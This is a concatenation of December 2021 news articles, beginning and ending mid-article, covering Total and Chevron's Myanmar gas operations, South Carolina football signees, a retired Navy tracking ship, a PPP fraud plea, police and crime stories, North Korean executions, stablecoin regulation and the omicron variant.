incurred decades ago, said Readul Islam, a Singapore-based research analyst at Rystad Energy. Chevron and Total would also struggle to sell the operation, given the remaining short life of the aging gas field and the grim political situation, he said. These operations are not company-makers by any sense, but they are profitable," Islam said. Also, Chevron and Totals aversion to sanctions may be less about money than about precedent, said John Sifton, Asia advocacy director at Human Rights Watch. If you signal that every time a country has serious human rights abuses, Human Rights Watch and other groups can come in and say, You should sanction your revenue, its going to create business headaches for them all over the world, he said. With public pressure mounting, Total and Chevron announced in May that they were suspending dividend payments by the Moattama Gas Transportation Company, which owns the Yadana pipeline. While welcoming the move as a first step, activists argue the dividend payments are a fraction of the militarys gas revenues. The energy analytics firm Wood Mackenzie in November downgraded its forecast of Myanmar gas exports to Thailand after Yadanas output fell faster than expected. Rights activists said Thai fears of a gas slowdown or cutoff at a time of surging prices across Asia have stiffened its resistance to new sanctions, which the U.S. and EU appeared reluctant to challenge. The Thai government did not respond with comment. In Myanmar, some gas workers have dismissed the energy companies concerns that they will face retaliation with sanctions, arguing the entire country is already oppressed. One 10-year employee of Total said the risk of losing his job due to sanctions was nothing compared to the risk of the generals remaining in power. Everyone needs a job, he said. But I dont want to survive by working here while everyone is suffering from this crisis. Given he and millions of others already have risked so much in the pursuit of democracy, he is frustrated with the international communitys failure to act. I dont understand why they keep paying the junta, he said. After the young woman whose family had long worked for Total protested outside its gates, the contractor company that hired her warned her not to participate again in the countrys pro-democracy Civil Disobedience Movement, she said. A few months later, she posted on social media about what she felt was Totals poor treatment of a colleague who died of COVID-19. Days later, she said, the contractor company fired her for allegedly defaming Total. In a statement, Total said that no Total E&P employees have been fired since the military's takeover, and none have been prevented from participating in the Civil Disobedience Movement. In September, she was arrested and imprisoned for three weeks under Section 505(A) of the Penal Code, which, in part, criminalizes comments that cause fear or spread false news. I feel very disappointed in Total because they are neglecting this country in which they invested, she said. For another Total employee, the lack of action from those who claim to stand for human rights is baffling. Why, he asked, hasnt the international community told gas companies that if they do business with the military, they can no longer do business with the rest of the world? For him, the solution to military abuse is simple. If they do not have revenue, they cannot buy weapons, he says. If they cannot buy weapons, this revolution will end quickly. ___ Gelineau reported from Sydney and Hinnant reported from Paris. AP Business Writer Elaine Kurtenbach in Bangkok contributed to this report. Correspondents Matt Lee and Ben Fox contributed from Washington, D.C. National early signing day is finally here and these are the high school commits expected to sign with South Carolina. We will update (add and subtract) throughout the day as news develops. The Gamecocks enter the day with the 16th-best class and sixth in the SEC according to the 247Sports Composite. Players who have signed (see bios below listed in order of national rank) Last updated 5:20 p.m. Delaware QB Braden Davis, Texas SAF Peyton Williams, Georgia DL Felix Hixon, Georgia OL Grayson Mains, Florida DB Kajuan Banks, Georgia OL Cason Henry, Mississippi LB Stone Blanton, Georgia LB Donovan Westmoreland, Florida DE Bryan Thomas Jr., Pennsylvania OL Ryan Brubaker, Irmo HS SAF Nick Emmanwori, Texas WR, Landon Samson, Georgia DB Emory Floyd, Florida DB Anthony Rose, Chapin HS WR/TE Zavier Short, North Carolina DL D'Andre Martin, Pennsylvania SAF Keenan Nelson Jr., Fort Dorchester DL Demetrius Watson, *Maryland LB Jaishawn Barham, the top-rated commit in this class has flipped and signed with Maryland this morning. The nation's No. 8 linebacker had committed to USC on Saturday Keenan Nelson Jr. catches a ball in a drill on Sunday. SAF Keenan Nelson Jr. (6-foot-1, 200 pounds) School: Saint Josephs Prep (Philadelphia, Pa.) Commitment date: July 20, 2021 Stars/Rating: 4/.9147 Rankings: 219th overall/19th SAF/7th in state Of note: The Gamecocks won out over his lone other finalist which as Penn State less than 200 miles from his high school. He remained USC's high-ranked recruit for nearly five months until this past weekend. Middletown quarterback Braden Davis pulls on a Gamecocks hat to reveal his choice to attend college at South Carolina on Friday. QB Braden Davis (6-5, 195) School: Middleton (Del.) Commitment date: April 30, 2021 Stars/Rating: 4/.8960 Rankings: 323rd/22nd QB/1st in state Of note: He was the second player in this class to commit and picked the Gamecocks over offers from such heavyweights as Clemson, Alabama, Georgia, Penn State and Oregon. OT Ryan Brubaker (6-6, 280) School: Cocalico (Denver, Pa.) Commitment date: June 29, 2021 Stars/Rating: 4/.8766 Rankings: 540th overall/43rd OT/16th in state Story continues Of note: His father, Jeff Brubaker, was a Penn State offensive lineman from 1984-88 and was on the 1986 national championship team that capped a 12-0 season with a 14-10 win against Miami in the Fiesta Bowl. It was the second of coach Joe Paterno's two national titles. He went on to become a 20-year high school offensive line coach. Stone Blanton, a senior linebacker at Madison-Ridgeland Academy, commits to playing football and baseball for the University of South Carolina during a commitment ceremony at Madison-Ridgeland Academy in Madison, Miss., Monday, Dec. 13, 2021. LB Stone Blanton (6-2, 220) School: Madison-Ridgeland (Madison, Miss) Commitment date: Dec. 13, 2021 Stars/Rating: 4/.8916 Rankings: 371st overall/36th LB/8th in state Of note: I really love the culture of South Carolina," he told the USA TODAY Sports Network's Clarion Ledger. "I feel like they have a great ceiling. They have a lot of potential and only up from where they were this season. I feel like I can trust the coaches and where theyre going." SAF Anthony Rose (6-3, 180) School: Miami Central (Florida) Commitment date: June 27, 2021 Stars/Rating: 3/.8883 Rankings: 401st/34th SAF/51st in state Of note: He initially committed to USC on Feb. 23, choosing the Gamecocks over finalists Penn State and Arizona before decommitting May 12 because his grandfather hadn't had a chance to see the facilities or meet the coaches. He was impressed USC still treated him as a much desired player even after he had backed off the program. SAF Emory Floyd (6-0, 165) School: Hillgrove (Powder Springs, Ga.) Commitment date: July 3, 2021 Stars/Rating: 3/.8872 Rankings: 410th overall/35th SAF/41st in state Of note: He ran track in high school and would become one of USC's fastest players. His fastest official times verified at meets are 10.51 in the 100 meters and 21.18 in the 200 meters. WR Landon Samson (6-1, 180) School: Southlake Carroll (Southlake, Tex.) Commitment date: June 30, 2021 Stars/Rating: 3/.8846 Rankings: 437th/63rd WR/62nd in state Of note: He made a massive leap in the most recent 247Sports Composite rankings from 692nd overall to 437th and from 95th at his position to 63rd. LB Donovan Westmoreland (6-1, 210) Donovan Westmoreland initially committed to Georgia before flipping to South Carolina School: Griffin (Georgia) Commitment date: May 3, 2021 Stars/Rating: 3/.8843 Rankings: 443rd/44th LB/46th in state Of note: He was initially committed to Georgia before flipping to the Gamecocks. SAF Peyton Williams (6-1, 180) School: Rockwall-Heath (Rockwall, Tex.) Commitment date: June 21, 2021 Stars/Rating: 3/.8836 Rankings: 452nd overall/38th SAF/63rd in state Of note: Williams, who committed nine days ahead of Samson would join him in becoming just the third and fourth should players from Texas to sign with the Gamecocks since 2009. OT Ryan Brubaker (6-6, 280) School: Cocalico (Denver, Pa.) Commitment date: June 29, 2021 Stars/Rating: 4/.8766 Rankings: 540th overall/43rd OT/16th in state Of note: His father, Jeff Brubaker, was a Penn State offensive lineman from 1984-88 and was on the 1986 national championship team that capped a 12-0 season with a 14-10 win against Miami in the Fiesta Bowl. It was the second of coach Joe Paterno's two national titles. He went on to become a 20-year high school offensive line coach. SAF Kajuan Banks (5-10, 170) Tallahassee Godby High School's Kajuan Banks runs the ball during their game with Life Christian Academy in a Saturday football matchup in Naples on Aug. 21, 2021. School: Amos P. Godby (Tallahassee, Fla.) Commitment date: June 15, 2021 Stars/Rating: 3/.8743 Rankings: 572nd overall/49th SAF/80th in state Of note: Held four SEC offers in addition to others from Cincinnati, Louisville, West Virginia and Nebraska. DL Felix Hixon (6-3, 285) School: Jackson (Georgia) Commitment date: July 5, 2021 Stars/Rating: 3/.8742 Rankings: 585th overall/83rd DL/56th in state Of note: He picked USC over finalists Wisconsin, Virginia, Georgia Tech and Illinois. His other offers included Georgia, Florida, Tennessee, Penn State, Florida State and Arkansas. SAF Nick Emmanwori (6-3, 208) School: Irmo Commitment date: July 1, 2021 Stars/Rating: 3/.8702 Rankings: 663rd overall/56th SAF/6th in state Of note: USC's coaching staff will have to wait for him to get to campus (and it will be a while since he isn't enrolling early) and watch him closely before deciding whether he'll play safety or linebacker. OL Grayson Mains School: Lambert (Suwanee, Ga.) Commitment date: April 1, 2021 Stars/Rating: 3/.8668 Rankings: 732nd overall/61st OT/75th in state USC commit Grayson Mains Of note: "They were electric too, Mains told the USA Today Sports Network of committing on Zoom to Coach Shane Beamer and offensive line coach Greg Adkins. Like a big party. South Carolina has exactly what I want to study in sports and entertainment management. I truly believe coach Beamer and coach Adkins are going to start something great. DL Jamaal Whyce (6-3, 270) School: Florida Christian (Miami, Fla.) Commitment date: June 20, 2021 Stars/Rating: 3/.8635 Rankings: 790th overall/110th DL/109th in state Of note: Began his high school career at Trotwood-Madison High School in Trotwood, Ohio before transferring to play at his current Florida school prior to the 2020 season. WR Kylic Horton (6-3, 190) School: Clarendon Hall Commitment date: June 26, 2021 Stars/Rating: 3/.8626 Rankings: 822nd overall/118th WR/10th in state Of note: Was a two-way player for his high school team which played eight-man football. He also played basketball and baseball. DE Bryan Thomas Jr. (6-2, 225) School: Foundation Academy (Winter Garden, Fla.) Commitment date: June 9, 2021 Stars/Rating: 3/.8561 Rankings: 954th overall/52nd DE/127th state Of note: His father, Bryan Thomas Sr. wasn't nearly as heavily recruited as his son and ended up playing for his hometown Alabama Birmingham. The elder Thomas elevated himself to the 22nd overall pick in the 2002 and played all 11 seasons for the Jets, only once playing in less than 12 games. USC offensive tackle commit Cason Henry (left) battles with Florida State commit Gabriel Harris at the Under Armour Camp. OT Cason Henry (6-6, 290) School: Walton (Marietta, Ga.) Commitment date: June 26, 2021 Stars/Rating: 3/.8551 Rankings: 999th/91st OT/98th in state Of note: He is friends with and played just down the road in Georgia from fellow USC commit Grayson Mains who declared ahead of Henry and helped him feel comfortable with the Gamecocks. WR Zavier Short (6-2, 208) School: Chapin Commitment date: Dec. 14, 2021 Stars/Rating: 3/.8370 Rankings: 1,431 overall/153rd WR/22nd in state Of note: He had been committed to Appalachian State since late June before flipping to USC the night before the early signing period began. Fort Dorchester standout Demetrius Watson is a USC commit DL Demetrius Watson (6-2, 285) School: Fort Dorchester Commitment date: Nov. 7, 2021 Stars/Rating: 3/.8466 Rankings: 1,221st overall/150th DL/15th in state Of note: He became the first player to commit to the Gamecocks in just shy of two months when announced for USC in the aftermath of the team's 40-17 win over Florida on Nov. 6 DL D'Andre Martin (6-4, 290) School: Life Christian Academy (Durham, N.C.) Commitment date: Dec. 7, 2021 Stars/Rating: 3/.8457 Rankings: 1,251th overall/153rd DL/34th in state Of note: His other Power Five offers were Tennessee, Florida State, Virginia Tech, Virginia, Duke. Spring Valley's DeQuandre Smith, seen here over the summer at Clemson coach Dabo Swinney's Football Camp, committed Tuesday night to South Carolina ATH DeQuandre Smith School: Spring Valley Commitment date: Dec. 14, 2021 Stars/Rating: 3/.8366 Rankings: 1,439th overall/113th ATH/23rd in state Of note: He had two other Power Five offers from Michigan and Virginia Tech while multiple smaller schools were pursuing him as a quarterback. This article originally appeared on Greenville News: Full look at all recruits expected to sign early with South Carolina Support local journalism. Unlock unlimited digital access to floridatoday.com Click here and subscribe today. A ship of the Cold War, the USNS Invincible roamed the North Atlantic and Norwegian Sea during the 1980s and '90s, using its sonar array to track Soviet submarines in the icy depths. After the Soviet Union collapsed, Invincible was retrofitted with a radar dome measuring 30 feet in diameter and started a "second career" as a missile-detecting ship primarily in the war-torn Middle East. The white-hulled, 224-foot ship's crew supplied missile-tracking data to Patrick Space Force Base for two decades, helping the Air Force Technical Applications Center monitor the planet for nuclear-treaty compliance. "As you read the news every day, it is no secret that missile warning and defense in monitoring adversaries' capabilities is becoming increasingly important to global security," said Christopher Thayer, director of maritime operations with Military Sealift Command. "With that overview, we have the opportunity to reflect on Invincible's accomplishments and all that the ship and crews have done in the years to contribute to the security of our nation," Thayer said. "I like to call her 'the little ship that could,' " he said. More: Secret lab at Patrick Air Force Base watches for nuclear explosions worldwide, protecting United States More: USS Indiana submarine commissioned during Navy ceremony at Port Canaveral Wednesday, Thayer detailed Invincible's globetrotting history during the tracking ship's mission "inactivation ceremony" at the U.S. Army Transportation Wharf at Cape Canaveral Space Force Station. After 36 years of operation, the U.S. Maritime Administration will repurpose the surveillance vessel. And the radar system will be redeployed by the Air Force Research Laboratory. "Today's ceremony does not necessarily mark the end of the line for this vessel. Rather, it symbolizes a transition, which occurs in the life of every ship," Thayer told the audience. Story continues "We have heard and hope that Invincible may in fact have a third act and sail as a Maritime Administration training ship at one of the state maritime schools, training future mariners for this great country," Thayer said. The surveillance ship USNS Invincible transits the Strait of Hormuz in November 2018 in the Middle East. Invincible was home to thousands of mariners, sailors, airmen and contractors over the years. The ship was permanently "forward-deployed" during operation, so it had no home port. The Tacoma Boatbuilding Co. laid Invincible's keel in May 1986 in Washington state. After entering naval service the next year, the ship conducted 32 90-day deployments tracking Soviet submarines before being deactivated in 1995, Thayer said. After spending three years mothballed at the Norfolk Naval Shipyard in Portsmouth, Virginia, crews retrofitted the ship with its missile-tracking Gray Star dual-band radar platform in 1999. Invincible was reclassified in 2000. "So she went from undersea to space. During the next two decades as a missile range instrumentation ship, Invincible collected data on 73 different systems primarily in the Middle East," Thayer said. U.S. Air Force Capt. Richard Gayson stands by the Gray Star radar dome on the deck of the USNS Invincible at the U.S. Army Transportation Wharf at Cape Canaveral Space Force Station. Based at Patrick Space Force Base, AFTAC is the Department of Defense's sole nuclear treaty-monitoring center. This classified facility detects and analyzes nuclear explosions detonated by foreign countries around the world. AFTAC personnel continuously monitor an extensive array of more than 3,600 seismometers and sensors on land, sea and air across all seven continents including space. Air Force Capt. Richard Gayson lived aboard Invincible as mission commander from September 2020 to February. Thirty people comprised the typical crew, including a 10-person Navy security team. The bulk of the personnel were Crowley and Raytheon civilian contractors. Fire extinguishers, hand-held lights and high-voltage electrical panels line Invincible's metal hallways, along with boxes containing cans of fruit juice and other foodstuffs. Wednesday, the banks of windows aboard the bridge offered sweeping views of Port Canaveral. "It's mixed feelings for the inactivation. It's been a great mission," Gayson said. Christopher Thayer, director of maritime operations with Military Sealift Command and Col. Katharine Branson, commander of the Air Force Technical Applications Center, listen during the USNS Invincible inactivation ceremony. Rick Neale is the South Brevard Watchdog Reporter at FLORIDA TODAY (for more of his stories, click here.) Contact Neale at 321-242-3638 or rneale@floridatoday.com. Twitter: @RickNeale1 Support local journalism. Subscribe today. This article originally appeared on Florida Today: Navy missile-radar ship Invincible ends global mission during Cape Canaveral ceremony Nearly $1 million in unlawfully obtained COVID-19 loans were used to fund a mans new Florida residential property, a Lexus, a couple diamond rings and more, federal officials say. Devron Brown, 50, formerly of Philadelphia, has since pleaded guilty in the Eastern District of Pennsylvania in connection to the Paycheck Protection Program (PPP) scam, according to a Dec. 14 news release. According to court documents, Brown is accused of submitting a false and misleading PPP loan application for $935,875 in relief money. In the application, officials say he falsely reported paying payroll taxes for 25 Pennsylvania employees through JUST US a business purportedly operating as a construction company in the second quarter of 2020. In reality, officials say JUST US paid no payroll taxes during that time period. The bank approved a loan for about $937,500, officials say, and he received the money in June 2020. The defense attorney representing Brown did not immediately respond to a McClatchy News request for comment. Officials say he used that money in the following ways between June and November 2020: About $250,000 used to purchase a residential property in Deltona, Florida Nearly $43,000 funded the purchase of a 2017 Lexus GS 320 in Annapolis, Maryland Approximately $50,000 used to buy a 2018 Ford F350 XLT pickup truck in Florida About $55,000 was wire transferred to a construction equipment supplier for an excavator Almost $7,000 helped buy a 14 karat white gold, three stone diamond engagement ring and a 14 karat white gold, diamond wedding band Approximately $19,000 used for an all-terrain vehicle and a motorcycle Following those purchases, Brown lied in a second PPP loan application, according to court documents. In February 2021, officials say he sought another $935,875, though the bank denied his request. Brown was then indicted in June 2021 on 11 felony counts, including bank fraud, attempted bank fraud, and money laundering, according to the news release. Story continues Thieves who attempt to take these funds are taking advantage of others misfortune ripping them off while also ripping off all taxpayers who fund the program, U.S. Attorney Jennifer Williams said in a statement. Here, the defendant fraudulently obtained nearly $1 million in funds that could have helped struggling businesses and individuals, and instead spent the money on indulgences for himself. Court records show his sentencing is scheduled for April 14, 2022. What is the PPP? Paycheck Protection Program funds are intended to help American small-businesses continue paying their employees, even if revenues have dropped dramatically due to the pandemic, Williams said in the news release. PPP loans were backed by the Small Business Administration to help businesses keep their workforce employed during the COVID-19 crisis. The program ended on May 31. In Pennsylvania, 179,088 PPP loans totaling $9,958,345,781 net dollars were approved in 2021 through the program end date. In total, 11,823,594 PPP loans totaling $799,832,866,520 were granted. Officer used $1.2 million in COVID loans for personal expenses in Arizona, feds say Man splurged on Range Rover with stolen COVID relief funds, feds say. Hes prison-bound Texas man lied to get $1.6M in COVID loans for Lamborghini, truck and more, feds say Rudolfo Pagan, 46, died days after a 2019 encounter with Camden County Police at Ablett Village in Camden. A state grand jury elected not to charge the officers in the Camden man's death. A grand jury elected not to file charges against officers for the death of a Camden man who died six days after an encounter with Camden County police. According to the New Jersey Attorney General's Office, which investigates any police-involved deaths, Camden County Police Department officers William Grasso and Dachaira Marquez-Guadalupe responded to a residence in Ablett Village in Camden at around 10:46 p.m. on Nov. 10, 2019. The officers, responding to 911 call about a man acting erratically, encountered Rudolfo Pagan. The 46-year-old Camden man was naked and officers, fearing for the safety of others in the residence and their own safety, attempted to restrain him. Pagan became combative, the release said, and left the residence. Officers handcuffed him and placed him on the ground. More officers, including Colin Wetmore, Timothy Miller, Deborah Baker, and Justin Goldman, also responded and assisted with efforts to restrain Pagan. Police called for EMS, and Pagan went into cardiac arrest and stopped breathing. He was treated at the scene and taken to Cooper University Hospital in an ambulance for further treatment. He died there six days later, on Nov. 16, 2019. An autopsy determined Pagan died of complications from cocaine intoxication. The grand jury, which completed its deliberations Dec. 13, reviewed evidence including body camera footage, forensic evidence, witness interviews and autopsy results, concluding that there would be no criminal charges. Phaedra Trethan has been a reporter and editor in South Jersey since 2007 and has covered Camden and surrounding areas since 2015, concentrating on issues relating to quality of life and social justice for the Courier-Post, Burlington County Times and The Daily Journal. She's called South Jersey home since 1971. Contact her with feedback, news tips or questions at ptrethan@gannettnj.com, on Twitter @By_Phaedra, or by phone at 856.486-2417. Help support local journalism with a digital subscription. This article originally appeared on Cherry Hill Courier-Post: No charges against Camden police officers in fatal 2019 encounter Dec. 14NEOSHO, Mo. A North Carolina man waived a preliminary hearing Monday on charges that he stabbed another truck driver during an argument Oct. 17 at a Joplin truck stop. Rolando Rosales Jr., 29, waived the hearing in Newton County Circuit Court and was ordered by Associate Judge Christine Rhoades to stand trial on counts of first-degree assault and armed criminal action. Rosales is accused of stabbing John Boddie, 56, of Fort Lauderdale, Florida, in the abdomen with a knife in the parking lot of the Petro truck stop on the southwest side of Joplin. A probable-cause affidavit states that the two drivers got into an argument over Rosales semitruck being parked too close to Boddie's truck. Rosales purportedly shoved Boddie, who retaliated by punching Rosales in the face a couple of times. Rosales then pulled out a knife and stabbed Boddie and continued after him as Boddie fled into the truck stop's store for help. The North Kingstown Police Department is mourning the loss of a "cop's cop" police captain who served with the department for 26 years. "It is with much sadness that our department informs you of the passing of our friend and brother Police Officer, Captain Paul Barry," the Police Department says in a Facebook post. Barry, 48, died Monday at Rhode Island Hospital "after losing a battle with a sudden onset illness," the Facebook post says. "Everyone that knew Captain Barry, knew that he was a True-Blue Cops Cop to the end!," the post says. North Kingstown Police Capt. Paul Barry, who died Monday. An alumnus of Roger Williams University, Barry graduated from the Rhode Island Municipal Police Academy in December 1995 and began his career with the Police Department. He started work as an acting captain in October 2015 before his promotion was made permanent in July 2016, according to the Facebook post. He also worked as a detective, sergeant and lieutenant. "Throughout his career, Captain Barry received numerous department and division commendations, as well as many letters of accolades. In addition, in 2005 he was named Rotary Police Officer of the Year," the post says. Help wanted: As shortages continue to strain nation's workforce, New England police struggle to hire Survivors include his parents, John and Joan Barry, and his brother Kevin Barry. An older brother, Michael Barry, preceded him in death. A Mass of Christian Burial will be at 11 a.m. Saturday in St. Bernard Church, 275 Tower Hill Rd., North Kingstown, according to an obituary on providencejournal.com. Burial will be in Elm Grove Cemetery, North Kingstown. Visiting hours will be 4 to 8 p.m. Friday in the Fagan-Quinn Funeral Home, 825 Boston Neck Rd., North Kingstown. The flag at North Kingstown's public safety complex will be flown at half-staff until Barry's burial. jperry@providencejournal.com (401) 277-7614 On Twitter: @jgregoryperry This article originally appeared on The Providence Journal: North Kingstown Police Capt. Paul Barry, 26-year veteran, dies at 48 North Korean leader Kim Jong Un inspecting military forces. STR/AFP via Getty Images Kim Jong Un's regime has publicly executed at least 23 people, according to a new report. At least 7 people were executed for sharing South Korean media, including K-Pop. Kim is cracking down on foreign influence as North Korea's economy flounders amid the pandemic and stalled nuclear talks. At least seven people have been publicly executed in North Korea for watching or distributing South Korean media, including K-Pop videos, according to a new report from Transitional Justice Working Group, a Seoul-based human rights group. The report said there have been at least 23 public executions under North Korean leader Kim Jong Un, who came to power a decade ago after the death of his father, Kim Jong Il. The rights group compiled the report, which offers harrowing details, via interviews with hundreds of North Korean defectors. "Interviewees often stated that the rules on public execution demand that three shooters fire a total of nine bullets into the body of the condemned person," the report said. "The families of those being executed were often forced to watch the execution." One interviewee said that he witnessed an execution that served as a "warning message from the state," stating, "Even when there was fluid leaking from the condemned person's brain, people were made to stand in line and look at the executed person in the face as a warning message." Kim, who's waging a culture war and launched a crackdown on foreign influence, has referred to K-Pop as a "vicious cancer." Last December, the North Korean government passed a law that makes it a capital offense to distribute South Korean media, including music and movies. Last month, Radio Free Asia reported that North Korea was set to execute a man by firing squad for smuggling and selling Netflix's hit show "Squid Game." Amid historic engagement between the US and North Korea in 2018 that also fostered a warming of relations between Seoul and Pyongyang, Kim attended a K-Pop concert in the North Korean capital. Story continues But experts say that Kim shifted to brutally cracking down on South Korean influence after denuclearization talks with the Trump administration fell apart, and as the North Korean economy floundered during the COVID-19 pandemic. "Part of this is trying to reassert the power of the party and trying to re-establish social control in a time of hardship," Jenny Town, a senior fellow at the Stimson Center and the Director of Stimson's 38 North Program, told Insider's Ryan Pickrell in June. "We generally see crackdowns when there is more domestic hardship than usual." Kim failed to gain much desired sanctions relief from nuclear talks with the US, and there has been little to no movement in terms of starting negotiations back up under the Biden administration. The North Korean leader is unlikely to see any movement on the sanctions front, however, unless he takes substantive steps toward denuclearization, such as renouncing all nuclear enrichment activities and allowing inspectors into the country. The US last Friday slapped new sanctions on people and entities linked to North Korea the first aimed at the country during the Biden era over human rights abuses. Secretary of State Antony Blinken in comments during a trip to Southeast Asia this week said that the US seeks "serious and sustained diplomacy" with North Korea, underscoring that the denuclearization of the Korean Peninsula remains Washington's "ultimate goal." "We'll work with allies and partners to address the threat posed by the DPRK's nuclear programs through a calibrated, practical approach while also strengthening our extended deterrence," Blinken said. Park Won Gon, a professor of North Korea studies at Seoul's Ewha Womans University, recently told NPR that North Korea's economic woes could spell trouble for his regime in the long-term. "The nuclear weapons program, the economy and the stability of the regime are all interconnected. If the nuclear issue doesn't get resolved, the economy doesn't get better, and that opens the possibility of disquiet and confusion in North Korea's society," Park said. Read the original article on Business Insider Oakland Mayor Libby Schaaf (D) has requested help from California Gov. Gavin Newsom (D) to better catch criminals in the area. Schaaf wrote to Newsom asking that he use license plate readers on the ramps of state highways and increase the presence of California's Highway Patrol in and around Oakland in an effort to locate criminals. The mayor also asked for the state's highway patrol Retail Theft Task Force to look into recent robberies in the area. "The primary mode of transportation for those committing the violent crimes are vehicles that are often stolen or have switched license plates, many of whom travel into and throughout Oakland on the highways and main thoroughfares," the mayor asserted. In a letter sent today to Gov. Newsom, Mayor Libby Schaaf asked for CHP patrols of city thoroughfares as well as for installation of license plate readers on interstate off ramps and on ramps pic.twitter.com/x4IRaliTau - David DeBolt (@daviddebolt) December 14, 2021 This year, Schaaf said, there had been 131 homicides in Oakland. She also noted that carjackings have increased by 77 percent, and robberies by 46 percent. "The need for a system that can capture vehicle descriptions and alert law enforcement to vehicles associated with violent crime, in real time, has never been more apparent," Schaaf said. "Such technology can multiply law enforcement efforts in a focused, intelligence-based manner, while still balancing the important privacy interests of the community," she added. In a statement to The Hill, a spokesperson from the Governor's Press Office said, "The administration is currently in the budget process, and is committed to adding more resources to crack down on crime rings." "To protect shoppers and businesses, Governor Newsom directed the CHP to increase their presence near popular retail areas statewide," the spokesperson added. Story continues California's Bay Area has recently seen a rash of smash-and-grab robberies at high-end stores. Police have said that some of the incidents were planned on Snapchat, with thieves potentially attracted to the social media app's ability to make messages disappear. Snapchat, however, has said it found no evidence to support such claims. The Hill has reached out to Schaaf for comment. - Updated at 1:00 p.m. Senator Sherrod Brown, Chairman of the Senate Banking Committee isnt convinced stablecoins will offer what they intend, voicing concerns that lax oversight could result in a repeat of a financial crisis. But in an interview with Yahoo Finance, the Ohio Democrat described himself as open-minded on how to regulate the cryptocurrency asset class , and doesnt want to kill innovation. My job is not to resist or say no to cryptocurrency generally, but to make sure that they follow rules, that they are regulated, and transparency for sure. And consumer protections for sure, but that they don't take advantage of others at the expense, especially of our economy overall, Brown said on Wednesday. When asked whether only banks should be limited to issuing stablecoins a hotly debated topic in the broader conversation about crypto regulation, Brown took a wait and see stance, but said I want people issuing stablecoins living under some specific rules and regulations. He thinks at a minimum, stablecoins should be brought within the banking system and regulated using current banking rules, and that stablecoin issuers should be transparent about their reserves. Brown argued they should hold a ratio of 1 to 1 in U.S. dollars and short-term Treasuries, and ensure those reserves are audited. His comments come after the Biden administration recommended that only banks be allowed to issue stablecoins, and tasked Congress with coming up with a new framework to regulate issuers, tailored according to the amount of risk they pose to users and the financial system. I'm hopeful next year the Senate Banking Housing Urban Affairs Committee working with the House and Senate colleagues can put some rules on the table about how to do this, Brown told Yahoo Finance. But right now, the Securities and Exchange Commission, the Federal Reserve, and the Department of Treasury are all looking at what we do about stablecoins generally, he added. Story continues Brown added that he and his staff are looking seriously at proposing legislation in the New Year and consulting with regulators. I'm ready and willing to do that, the senator said. I'm not yet able to do that in the sense of knowing specifically how to do that, and which direction. I mean, I know the general direction, but I don't know the specifics yet. Facebook under the microscope abstract futuristic technology background of USD Coin (USDC) Price graph Chart coin digital cryptocurrency Yet when it comes to Facebook parent Meta platforms (FB) pursuit of a stablecoin, Brown said hes reluctant to allow the social network to pursue one. I'm concerned about tech companies' power, Brown argued. I'm concerned about their reach I'd be reluctant to give them the authority to get into this business. We've got to figure that out. Depending on how lawmakers and regulators write the rules, Facebook could either be forced to become a bank if it pursues issuing a stablecoin or essentially shut out given that Congress historically has not allowed non-banks to offer banking services. The risk is that competitors could be disadvantaged, or certain partners may receive special treatment, which may distort the allocation of credit in the economy. The Presidents Working Group on Financial Markets has recommended digital wallets such as Metas Novi, which is still in development be subject to oversight. That includes restricting digital wallet companies from lending stablecoins, and requiring them to meet capital requirements. The report stated that Congress should consider limits on use of users transaction data and limiting digital wallets relationships with major companies in line with banking laws that prohibit major corporations like Walmart (WMT) from also housing a bank. As both parties think through how to regulate stablecoins, ranking member of the Senate Banking Committee, Senator Pat Toomey, released a set of stablecoin principles to guide future legislation. The Pennsylvania Republican does not think stablecoin issuance should be limited to insured depository institutions, noting that issuers have different business models than traditional banks. His position is that requiring all issuers to become banks would stifle innovation. Toomey offers three options for stablecoin issuers based on their business models: operate under a conventional bank charter; get a special-purpose banking charter designed for stablecoin issuers under new legislation; or register as a money transmitter under an existing state law and as a money services business under FinCENs federal law. Under that approach, all stablecoin issuers would be required to adopt clear redemption policies and disclosure requirements of their reserve backings. Now a rapidly growing market that sits at over $163 billion worldwide, officials are worried about runs on stablecoins, even as some market participants have argued that scenario does not pose a major risk. Ohios Brown worries that if you put your money in stablecoins, theres no guarantee youre going to get it back, and said the wild price swings and high transaction fees for many cryptocurrencies make them useless for payments. We've seen that movie, as I said many times, but is it a way to serve the public? Is it going to make transactions among businesses and individuals quicker and safer? Is it going to help reach the unbanked? the senator asked. They've said over and over that they want to reach people who aren't in the financial system. They haven't really shown that that's really what they want to do and how they're actually going to do it, he added. Read the latest financial and business news from Yahoo Finance Read the latest cryptocurrency and bitcoin news from Yahoo Finance Follow Yahoo Finance on Twitter, Instagram, YouTube, Facebook, Flipboard, and LinkedIn CAMBRIDGE, Mass. The omicron variant of the coronavirus is moving faster than surveillance systems can track it and has so unnerved some medical experts that they're starting to put the brakes on preparations for their holiday gatherings. "Personally, I'm reevaluating plans for the holidays," Bronwyn MacInnis, director of pathogen genomic surveillance at the Broad Institute of MIT and Harvard University, said on a call with reporters Tuesday. "It's the responsible thing to do and what feels right given the risk." She and a handful of other Massachusetts-based researchers on the call said they've been stunned by the pace by which omicron has been crowding out other variants and taking over the pandemic. The Centers for Disease Control and Prevention reports that about 3% of COVID-19 cases in the U.S. are omicron. But MacInnis said she believes that number was probably an underestimate on Dec. 11 just three days ago when the CDC first announced it, and now its likely much higher. HOW DOES COVID-19 AFFECT ME? Dont miss an update with the Coronavirus Watch newsletter "At the rate that it seems to be spreading, there isn't a surveillance system on the planet truly that could keep up with it," MacInnis said. In some parts of the country, there are hints omicron already accounts for about 15% of cases, said Jeremy Luban, a virus expert at the UMass Chan Medical School . Omicron has been moving faster even than the most pessimistic among us thought that it was going to move," said Dr. Jacob Lemieux, an infectious disease expert at Massachusetts General Hospital. Theres a high likelihood that it will come to your holiday gathering. Some researchers have said they're stunned by how quickly the omicron coronavirus variant has been crowding out other variants. While previous variants popped up in one country and then another, and "you could watch it unfold from place to place to place," Lemieux said, omicron "seems to be happening every place at once." Lemieux said he is particularly worried because the SARS-CoV-2 virus that causes COVID-19 has already killed more than 5.3 million people around the world, including 800,000 in the United States. Story continues Although the variant was identified only the day before Thanksgiving, as more data emerges it is confirming omicron's ability to spread incredibly fast probably twice as fast as the delta variant, which has dominated the global pandemic since this summer. THE OMICRON VARIANT IS FUELING MISINFORMATION ABOUT COVID: Experts explain why and how to spot false claims. Even if omicron is less dangerous, it will still cause a huge number of infections and, therefore, a large number of hospitalizations and deaths, Lemieux said. Plus, the U.S. was already seeing a growing number of infections, largely with the delta variant. An average of 118,000 new infections a day were reported over the past week a 37% increase over the previous week. "Our hospitals are already 